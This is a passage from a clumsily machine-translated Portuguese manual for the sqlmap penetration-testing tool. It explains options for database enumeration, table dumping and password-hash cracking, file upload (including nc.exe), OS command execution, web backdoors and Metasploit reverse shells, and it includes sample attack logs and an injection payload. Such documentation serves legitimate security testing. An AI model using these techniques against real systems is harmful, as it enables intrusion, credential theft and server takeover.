Se, para qualquer instância que você deseja executar uma impressão de sistema de
gerenciamento de banco de dados extensiva com base em várias técnicas, como dialetos SQL
específicos e mensagens de erro inband, você pode fornecer o switch --fingerprint . Sqlmap
executará muito mais pedidos e impressões digitais a versão exata de DBMS e, quando possível,
sistema operacional, arquitetura e nível de remendo.
Se você quiser que a impressão digital seja um resultado ainda mais preciso, você também pode
fornecer o switch -b ou --banner .
Enumeração
Essas opções podem ser usadas para enumerar as informações do sistema de gerenciamento de
banco de dados back-end, estrutura e dados contidos nas tabelas. Além disso, você pode
executar suas próprias instruções SQL.
Recuperar tudo
Interruptor: --all
Este switch pode ser usado em situações onde o usuário deseja recuperar tudo remotelly
acessível usando um único switch. Isto não é recomendado, uma vez que irá gerar um grande
número de pedidos de recuperação de dados úteis e inútil.
Bandeira
Alternar: -b ou --banner
A maioria dos modernos sistemas de gerenciamento de banco de dados tem uma função e / ou
uma variável de ambiente que retorna a versão do sistema de gerenciamento de banco de dados
e eventualmente detalhes sobre seu nível de patch, o sistema subjacente.
version() Normalmente a função é ea variável de ambiente é @@version , mas isso varia
dependendo do SGBD de destino.
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
Usuário da sessão
Interruptor: --current-user
Com esta opção é possível recuperar o usuário do sistema de gerenciamento de banco de dados
que está efetivamente executando a consulta contra o back-end DBMS a partir da aplicação web.
Com essa opção, é possível recuperar o nome do banco de dados do sistema de gerenciamento
de banco de dados ao qual o aplicativo da Web está conectado.
Com essa opção, é possível recuperar o nome de host do sistema de gerenciamento de banco de
dados.
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar a lista de usuários.
Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre senhas dos usuários do SGBD, é possível enumerar os hashes de senha para cada usuário
do sistema de gerenciamento de banco de dados. Sqlmap primeiro irá enumerar os usuários, em
seguida, os hashes de senha diferente para cada um deles.
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Não apenas o sqlmap enumerou os usuários do DBMS e suas senhas, mas também reconheceu o
formato de hash para ser o PostgreSQL, perguntou ao usuário se deve ou não testar os hashes
contra um arquivo de dicionário e identificou a senha de texto claro para o postgres usuário, Um
DBA ao longo do outro usuário testuser , senha.
Este recurso foi implementado para todos os DBMS onde é possível enumerar os hashes de
senhas dos usuários, incluindo Oracle e Microsoft SQL Server pré e pós 2005.
Você também pode fornecer a opção -U para especificar o usuário específico que você deseja
enumerar e, eventualmente, quebrar a senha hash (es). Se você fornecer CU como nome de
usuário ele irá considerá-lo como um alias para o usuário atual e irá recuperar a senha hash (es)
para este usuário.
Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar os privilégios para cada usuário do sistema de
gerenciamento de banco de dados. Por privilégios, sqlmap também mostrará quais são os
administradores de banco de dados.
Você também pode fornecer a opção -U para especificar o usuário que você deseja enumerar os
privilégios.
Se você fornecer CU como nome de usuário, ele o considerará como um alias para o usuário
atual e enumerará os privilégios para este usuário.
No Microsoft SQL Server, esse recurso mostrará se cada usuário é ou não um administrador de
banco de dados e não a lista de privilégios para todos os usuários.
Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar as funções para cada usuário do sistema de
gerenciamento de banco de dados.
Você também pode fornecer a opção -U para especificar o usuário que você deseja enumerar os
privilégios.
Se você fornecer CU como nome de usuário, ele o considerará como um alias para o usuário
atual e enumerará os privilégios para este usuário.
Esta funcionalidade só está disponível quando o DBMS é Oracle.
Quando o usuário de sessão tem acesso de leitura à tabela de sistema contendo informações
sobre bancos de dados disponíveis, é possível enumerar a lista de bancos de dados.
Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre tabelas de bancos de dados, é possível enumerar a lista de tabelas para bancos de dados
de um sistema de gerenciamento de banco de dados específico.
Se você não fornecer um banco de dados -D específico com a opção , sqlmap irá enumerar as
tabelas para todos os bancos de dados DBMS.
Você também pode fornecer a opção --exclude-sysdbs para excluir todos os bancos de dados
do sistema.
Observe que no Oracle você precisa fornecer o TABLESPACE_NAME nome do banco de dados em
vez do.
Quando o usuário de sessão tem acesso de leitura à tabela de sistema contendo informações
sobre tabelas do banco de dados, é possível enumerar a lista de colunas para uma tabela de
banco de dados específica. Sqlmap também enumera o tipo de dados para cada coluna.
Esse recurso depende da opção -T para especificar o nome da tabela e, opcionalmente, -D para
especificar o nome do banco de dados. Quando o nome do banco de dados não é especificado, o
nome do banco de dados atual é usado. Você também pode fornecer a -C opção para especificar
o nome das colunas da tabela como o que você forneceu para ser enumerado.
Note que no PostgreSQL você tem que fornecer public ou o nome de um banco de dados do
sistema. Isso é porque não é possível enumerar outras tabelas de bancos de dados, apenas as
tabelas sob o esquema que o usuário da aplicação web está conectado, que é sempre alias por
public .
O usuário pode recuperar um esquema DBMS usando essa opção. A listagem do esquema
conterá todos os bancos de dados, tabelas e colunas, juntamente com seus respectivos tipos. Em
combinação com --exclude-sysdbs apenas parte do esquema contendo bancos de dados não-
sistema serão recuperados e mostrados.
Exemplo contra um alvo MySQL:
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
No caso de que o usuário queira apenas saber o número de entradas na tabela (s) antes de
despejar o desejado, ele pode usar essa opção.
Quando o usuário da sessão tiver acesso de leitura à tabela de um banco de dados específico, é
possível despejar as entradas da tabela.
Essa opção também pode ser usada para despejar entradas de todas as tabelas de um banco de
dados fornecido. Você simplesmente tem que fornecer sqlmap com o switch juntamente com --
dump apenas a opção -D (não -T e não -C ).
Você também pode fornecer uma lista separada por vírgulas das colunas específicas para
despejar com a opção -C .
Sqlmap também gera para cada tabela despejado as entradas em um arquivo de texto de formato
CSV. Você pode ver o caminho absoluto onde sqlmap cria o arquivo fornecendo um nível de
verbosidade maior ou igual a 1 .
Se você quiser despejar apenas um intervalo de entradas, então você pode fornecer opções --
start e / ou --stop para, respectivamente, começar a despejar de uma determinada entrada e
parar o despejo em uma determinada entrada. Por exemplo, se você quiser despejar apenas a
primeira entrada, forneça --stop 1 na linha de comando. Vice-versa, se, por exemplo, você
deseja despejar apenas a segunda e terceira entrada, fornecer --start 1 --stop 3 .
Também é possível especificar qual caractere único ou intervalo de caracteres para despejar com
opções --first e --last . Por exemplo, se você quiser despejar entradas de colunas do
terceiro para o quinto caractere, forneça --first 3 --last 5 . Esse recurso aplica-se apenas
às técnicas de injeção SQL cego, pois para técnicas de injeção SQL com base em erros e UNION,
o número de solicitações é exatamente o mesmo, independentemente do comprimento da saída
da entrada da coluna para despejo.
Às vezes (por exemplo, para Microsoft SQL Server, Sybase e SAP MaxDB) não é possível despejar
as linhas da tabela direta usando OFFSET m, n mecanismo por causa da falta de similar. Em tais
casos, o sqlmap despeja o conteúdo determinando a pivot coluna mais adequada (aquela com
a maioria dos valores exclusivos) cujos valores serão usados posteriormente para recuperar
outros valores de coluna. Se for necessário aplicar o uso de determinada pivot coluna porque o
escolhido automaticamente não é adequado (por exemplo, devido à falta de resultados de
despejo de tabela) você pode usar a opção --pivot-column (ex --pivot-column=id .).
No caso de você desejar restringir o despejo para valores de coluna específicos (ou intervalos),
você pode usar a opção --where . A operação lógica fornecida será automaticamente usada
dentro da WHERE cláusula. Por exemplo, se você usar --where="id>3" somente linhas de tabela
com valor de coluna id maior que 3 será recuperado (adicionando WHERE id>3 a consultas de
despejo usadas).
Como você pode ter notado até agora, sqlmap é flexível : você pode deixá-lo para despejar
automaticamente a tabela de banco de dados inteira ou você pode ser muito preciso em quais
caracteres para despejo, a partir de quais colunas e qual intervalo de entradas.
É possível despejar todas as entradas de tabelas de bancos de dados de uma vez que o usuário
da sessão tem acesso de leitura em.
Você também pode fornecer a opção --exclude-sysdbs para excluir todos os bancos de dados
do sistema. Nesse caso, sqlmap irá apenas despejar entradas de tabelas de bancos de dados de
usuários.
Observe que no Microsoft SQL Server o master banco de dados não é considerado um banco de
dados do sistema porque alguns administradores de banco de dados o usam como um banco de
dados de usuários.
Essa opção permite procurar nomes de bancos de dados específicos, tabelas específicas em
todos os bancos de dados ou colunas específicas em todas as tabelas de bancos de dados .
Isso é útil, por exemplo, para identificar tabelas que contêm credenciais de aplicativos
personalizados onde nomes de colunas relevantes contêm seqüência de caracteres como nome e
pass .
O switch --search precisa ser usado em conjunto com uma das seguintes opções de suporte:
-C Seguindo uma lista de nomes de colunas separados por vírgulas para procurar em todo
o sistema de gerenciamento de banco de dados.
-T Seguindo uma lista de nomes de tabela separados por vírgulas para procurar em todo o
sistema de gerenciamento de banco de dados.
-D Seguindo uma lista de nomes de banco de dados separados por vírgulas para procurar
em todo o sistema de gerenciamento de banco de dados.
A consulta SQL e os recursos de shell SQL permitem executar declarações SQL arbitrárias no
sistema de gerenciamento de banco de dados. Sqlmap disseca automaticamente a instrução
fornecida, determina qual técnica é apropriada para usar para injetá-lo e como empacotar a carga
útil do SQL de acordo.
Se a consulta for uma SELECT instrução, o sqlmap recuperará sua saída. Caso contrário, ele
executará a consulta através da técnica de injeção SQL de consulta empilhada se o aplicativo da
Web suportar várias instruções no sistema de gerenciamento de banco de dados back-end. Tenha
em atenção que algumas tecnologias de aplicações Web não suportam consultas empilhadas em
sistemas de gestão de bases de dados específicos. Por exemplo, o PHP não suporta consultas
empilhadas quando o DBMS back-end é o MySQL, mas suporta quando o DBMS back-end é o
PostgreSQL.
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
Como você pode ver, sqlmap divide a consulta fornecida em duas instruções SELECT diferentes,
em seguida, recupera a saída para cada consulta separada.
Se a consulta SELECT fornecida for uma instrução e contiver uma FROM cláusula, o sqlmap
perguntará se essa instrução pode retornar várias entradas. Nesse caso, a ferramenta sabe
descompactar a consulta corretamente para contar o número de entradas possíveis e recuperar
sua saída, entrada por entrada.
A opção shell SQL permite que você execute sua própria instrução SQL interativamente, como um
console SQL conectado ao sistema de gerenciamento de banco de dados. Esse recurso também
fornece suporte à conclusão TAB e histórico.
Força bruta
Esses switches podem ser usados para executar verificações de força bruta.
Há casos em que a opção --tables não pode ser usada para recuperar os nomes das tabelas
dos bancos de dados. Estes casos geralmente se encaixam em uma das seguintes categorias:
O usuário da sessão não tem privilégios de leitura contra a tabela de sistema armazenando o
esquema dos bancos de dados.
Se qualquer um dos dois --tables primeiros casos se aplicar e você forneceu a opção , o
sqlmap solicitará uma pergunta para voltar a essa técnica. Qualquer um desses casos se aplica à
sua situação, sqlmap ainda pode identificar algumas tabelas existentes se você fornecê-lo com o
switch --common-tables . Sqlmap executará um ataque de força bruta para detectar a existência
de tabelas comuns em todo o DBMS.
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
Database: testdb
[1 table]
+-------+
| users |
+-------+
Conforme tabelas, há casos em que switch --columns não pode ser usado para recuperar os
nomes das colunas das tabelas de bancos de dados. Estes casos geralmente se encaixam em
uma das seguintes categorias:
Se qualquer um dos dois --columns primeiros casos se aplicar e você forneceu a opção , o
sqlmap solicitará uma pergunta para voltar a essa técnica. Qualquer um desses casos se aplica à
sua situação, sqlmap ainda pode identificar algumas tabelas existentes se você fornecê-lo com o
switch --common-columns . O sqlmap executará um ataque de força bruta para detectar a
existência de colunas comuns no DBMS.
Você pode injetar suas próprias funções definidas pelo usuário (UDFs) compilando uma
biblioteca compartilhada do MySQL ou PostgreSQL, uma DLL para Windows e um objeto
compartilhado para Linux / Unix, então forneça sqlmap com o caminho onde a biblioteca
compartilhada é armazenada localmente em sua máquina. Sqlmap irá então fazer algumas
perguntas, carregar a biblioteca compartilhada no sistema de arquivos do servidor de banco de
dados, criar as funções definidas pelo usuário e, dependendo de suas opções, executá-las.
Quando você terminar de usar os UDFs injetados, sqlmap também pode removê-los do banco de
dados para você.
Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .
Se você quiser, você pode especificar o caminho do sistema de arquivos local da biblioteca
compartilhada através da linha de comando também usando a --shared-lib opção. O vice-
versa sqlmap pedirá o caminho em tempo de execução.
Esse recurso está disponível somente quando o sistema de gerenciamento de banco de dados é
MySQL ou PostgreSQL.
Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .
Exemplo contra um destino do Microsoft SQL Server 2005 para recuperar um arquivo binário:
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
É possível fazer o upload de um arquivo local para o sistema de arquivos do servidor de banco de
dados quando o sistema de gerenciamento de banco de dados back-end é o MySQL, o
PostgreSQL ou o Microsoft SQL Server eo usuário da sessão tem os privilégios necessários para
abusar de funcionalidades específicas do banco de dados e fraquezas arquitetônicas. O arquivo
especificado pode ser um arquivo textual ou um arquivo binário. Sqlmap irá lidar com ele
corretamente.
Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .
Exemplo contra um destino MySQL para carregar um arquivo UPX comprimido binário:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
Quando o usuário solicita a saída padrão, o sqlmap usa uma das técnicas de injeção de SQL de
enumeração (blind, inband ou baseado em erro) para recuperá-lo. Vice versa, se a saída padrão
não é necessária, a técnica de injeção de SQL de consulta empilhada é usada para executar o
comando.
Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
Também é possível simular um shell real onde você pode digitar tantos comandos arbitrários
como você deseja. A opção é --os-shell e tem as mesmas funcionalidades TAB conclusão e
história que --sql-shell tem.
Onde as perguntas empilhadas não foram identificadas no aplicativo da web (por exemplo, PHP
ou ASP com o sistema de gerenciamento de banco de dados back-end sendo o MySQL) eo DBMS
é o MySQL, ainda é possível abusar da SELECT cláusula INTO OUTFILE para criar um backdoor
da web em uma pasta A raiz do documento do servidor web e ainda obter a execução do
comando assumindo que o back-end DBMS eo servidor web estão hospedados no mesmo
servidor. O sqlmap suporta esta técnica e permite que o usuário forneça uma lista separada por
vírgulas de possíveis subpastas de raiz de documentos onde tente fazer o upload do arquivo de
arquivo da Web eo posterior backdoor da Web. Além disso, o sqlmap tem seus próprios arquivos
e backdoors de arquivos web testados para os seguintes idiomas:
ASP
ASP.NET
JSP
PHP
É possível estabelecer uma conexão TCP com estado out-of-band entre a máquina atacante eo
servidor de banco de dados subjacente ao sistema operacional quando o sistema de
gerenciamento de banco de dados back-end é o MySQL, PostgreSQL ou Microsoft SQL Server eo
usuário da sessão tem o necessário Privilégios para abusar de funcionalidades específicas do
banco de dados e fraquezas arquitetônicas. Este canal pode ser um prompt de comando
interativo, uma sessão Meterpreter ou uma sessão de interface gráfica com o usuário (VNC)
conforme a escolha do usuário.
Sqlmap depende do Metasploit para criar o shellcode e implementa quatro técnicas diferentes
para executá-lo no servidor de banco de dados. Estas técnicas são:
Upload e execução de um standload autônomo de carga útil do Metasploit via sqlmap própria
função definida pelo usuário sys_exec() no MySQL e PostgreSQL ou via xp_cmdshell() no
Microsoft SQL Server - switch --os-pwn .
Execução do shellcode do Metasploit executando um ataque de reflexão SMB ( MS08-068 )
com uma solicitação de caminho UNC do servidor de banco de dados para a máquina do
invasor onde o smb_relay servidor Metasploit explora escuta. Suportado ao executar o
sqlmap com privilégios altos ( uid=0 ) no Linux / Unix e o DBMS de destino é executado
como Administrador no Windows - switch --os-smbrelay .
Execução em memória da memória do shellcode do Metasploit explorando o Microsoft SQL
Server 2000 e o sp_replwritetovarbin estouro de buffer de pilha baseado em
procedimento armazenado do Microsoft SQL Server 2000 ( MS09-004 ). Sqlmap tem seu
próprio exploit para acionar a vulnerabilidade com bypass automático de proteção de
memória DEP, mas depende do Metasploit para gerar o shellcode para ser executado após a
exploração - switch com êxito --os-bof .
Essas técnicas são detalhadas no white paper Injeção de SQL Avançado para controle total do
sistema operacional e no deck de slides Expandindo o controle sobre o sistema operacional a
partir do banco de dados .
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
É possível fornecer sqlmap com switch --priv-esc para executar escalonamento de privilégios
de usuário do banco de dados através do getsystem comando do Metasploit, que inclui, entre
outros, a técnica kitrap0d ( MS10-015 ).
Essas opções podem ser usadas para fornecer dados necessários para o correto funcionamento
de switches --reg-read , --reg-add e --reg-del . Assim, em vez de fornecer informações de
chave de registro quando solicitado, você pode usá-los no prompt de comando como argumentos
do programa.
Com a --reg-key opção você especifica o caminho de chave de registro do Windows usado,
com o --reg-value nome do item de valor dentro da chave fornecida, com os --reg-
data dados de valor, enquanto que com a --reg-type opção você especifica o tipo do item de
valor.
Uma linha de comando de exemplo para adicionar um ramo de chave de registro segue:
Geral
Estas opções podem ser usadas para definir alguns parâmetros de trabalho gerais.
Sqlmap cria automaticamente um arquivo SQLite de sessão persistente para cada destino, dentro
do diretório de saída dedicado, onde armazena todos os dados necessários para o resumal da
sessão. Se o usuário desejar definir explicitamente o local do arquivo de sessão (por exemplo,
para armazenar dados de sessão para vários destinos em um único local), ele poderá usar essa
opção.
Esta opção requer um argumento que especificou o arquivo de texto para gravar todo o tráfego
HTTP (s) gerado por sqlmap - solicitações HTTP (S) e respostas HTTP (S).
Isso é útil principalmente para fins de depuração - quando você fornecer os desenvolvedores com
um relatório de bug potencial, enviar este arquivo também.
Se você quiser sqlmap para executar como uma ferramenta de lote, sem a interação de qualquer
usuário quando sqlmap requer, você pode forçar que usando o switch --batch . Isso deixará
sqlmap para ir com um comportamento padrão sempre que a entrada do usuário seria
necessária.
No caso de recuperação de conteúdo binário, como no exemplo de tabelas com coluna (s) com
valores binários armazenados (por exemplo, coluna password com valores de hash de senha
binários armazenados ), é possível usar a opção --binary-fields para (extra) manuseio
apropriado por sqlmap. Todos esses campos (ou seja, colunas de tabela) são então recuperados
e representados em sua representação hexadecimal, então, posteriormente, eles poderiam ser
processados corretamente com outras ferramentas (por exemplo john ).
Opção --crawl-exclude
Com esta opção, você pode excluir páginas do rastreamento fornecendo uma expressão regular.
Por exemplo, se você quiser ignorar todas as páginas que têm a palavra-chave logout em seus
caminhos, você pode usar --crawl-exclude=logout .
Em alguns casos, o usuário será avisado de que algumas operações falharam devido à falta de
privilégios de usuário do SGBD atual e que ele poderia tentar usar essa opção. Nesses casos, se
ele fornecer admin credenciais de usuário ao sqlmap usando esta opção, o sqlmap tentará
executar novamente a parte problemática com mecanismos especializados "executar como" (por
exemplo, OPENROWSET no Microsoft SQL Server) usando essas credenciais.
SqlMap suporta três tipos diferentes de formatação quando o armazenamento de dados da tabela
despejados no arquivo correspondente dentro de um diretório de saída: CSV , HTML e SQLITE .
Um padrão é CSV , onde cada linha de tabela é armazenada em um arquivo de texto linha por
linha e onde cada entrada é separada com um caractere de vírgula , (ou um fornecido com
opção --csv-del ). No caso de HTML , a saída está sendo armazenada em um arquivo HTML,
onde cada linha é representada com uma linha dentro de uma tabela formatada. No caso de
SQLITE , a saída está sendo armazenada em um banco de dados SQLITE, onde o conteúdo da
tabela original é replicado na tabela correspondente com o mesmo nome.
É possível calcular e mostrar em tempo real o tempo estimado de chegada para recuperar cada
saída de consulta. Isso é mostrado quando a técnica usada para recuperar a saída é qualquer um
dos tipos cegos de injeção SQL.
Exemplo contra um destino Oracle afetado apenas por injeção SQL cego baseada em booleanos:
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
Então:
Como você pode ver, sqlmap primeiro calcula o comprimento da saída da consulta, estima o
tempo de chegada, mostra o progresso em porcentagem e conta o número de caracteres de saída
recuperados.
Como você já está familiarizado com o conceito de um arquivo de sessão da descrição acima, é
bom saber que você pode liberar o conteúdo desse arquivo usando a opção --flush-session .
Desta forma, você pode evitar os mecanismos de cache implementados por padrão no sqlmap.
Outra maneira possível é remover manualmente o (s) arquivo (s) de sessão.
Digamos que você quer testar contra injeções SQL um formulário de busca enorme ou você
deseja testar um bypass de login (geralmente apenas dois campos de entrada nomeados como
nome de usuário e senha ), você pode passar para sqlmap a solicitação em um arquivo de
solicitação ( -r ) Os dados POSTed em conformidade ( --data ) ou deixe sqlmap fazê-lo para
você!
Forneça sqlmap com --forms , bem como a página onde o formulário pode ser -u encontrado
como o URL de destino ( ) e sqlmap irá solicitar o URL de destino para você, analisar os
formulários que tem e guiá-lo através de testar a injeção SQL nesses campos de entrada de
formulário Parâmetros) em vez do URL de destino fornecido.
Como você já está familiarizado com o conceito de um arquivo de sessão da descrição acima, é
bom saber que você pode ignorar o conteúdo desse arquivo usando a opção --fresh-queries .
Desta forma, você pode manter o arquivo de sessão intocado e para uma execução selecionada,
evite a retomada / restauração de consultas de saída.
Usar funções hexadecimais DBMS para recuperação de dados
Interruptor: --hex
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
Sqlmap por padrão armazena arquivos de sessão e resultado dentro de um subdiretório output .
Caso você queira usar um local diferente, você pode usar esta opção (ex --output-dir=/tmp .).
Se o aplicativo da Web estiver configurado no modo de depuração para que ele exiba nas
respostas HTTP as mensagens de erro do sistema de gerenciamento de banco de dados back-
end, o sqlmap pode analisá-las e exibi-las para você.
Isso é útil para fins de depuração, como entender por que uma determinada enumeração ou
alternar não funciona - pode ser uma questão de privilégios do usuário da sessão e, neste caso,
você veria uma mensagem de erro DBMS ao longo das linhas de Access denied for user
<SESSION USER> .
Atualizar sqlmap
Interruptor: --update
Usando esta opção, você pode atualizar a ferramenta para a versão de desenvolvimento mais
recente diretamente do repositório Git . Você obviamente precisa de acesso à Internet.
Se, por qualquer motivo, esta operação falhar, execute a git pull partir da cópia de trabalho
sqlmap. Ele executará exatamente a mesma operação de switch --update . Se você estiver
executando sqlmap no Windows, você pode usar o cliente SmartGit .
Isso é altamente recomendado antes de relatar qualquer bug para as listas de discussão .
Diversos
Poderia tornar-se tedioso para digitar todas as opções desejadas e opções, especialmente para
aqueles que são usados com mais freqüência (por exemplo --batch --random-agent --
ignore-proxy --technique=BEU ). Existe uma maneira mais simples e muito mais curta de como
lidar com esse problema. Em sqlmap ele é chamado de "mnemônicos".
Cada opção e switch podem ser escritos em uma forma -z mnemônica mais curta usando a
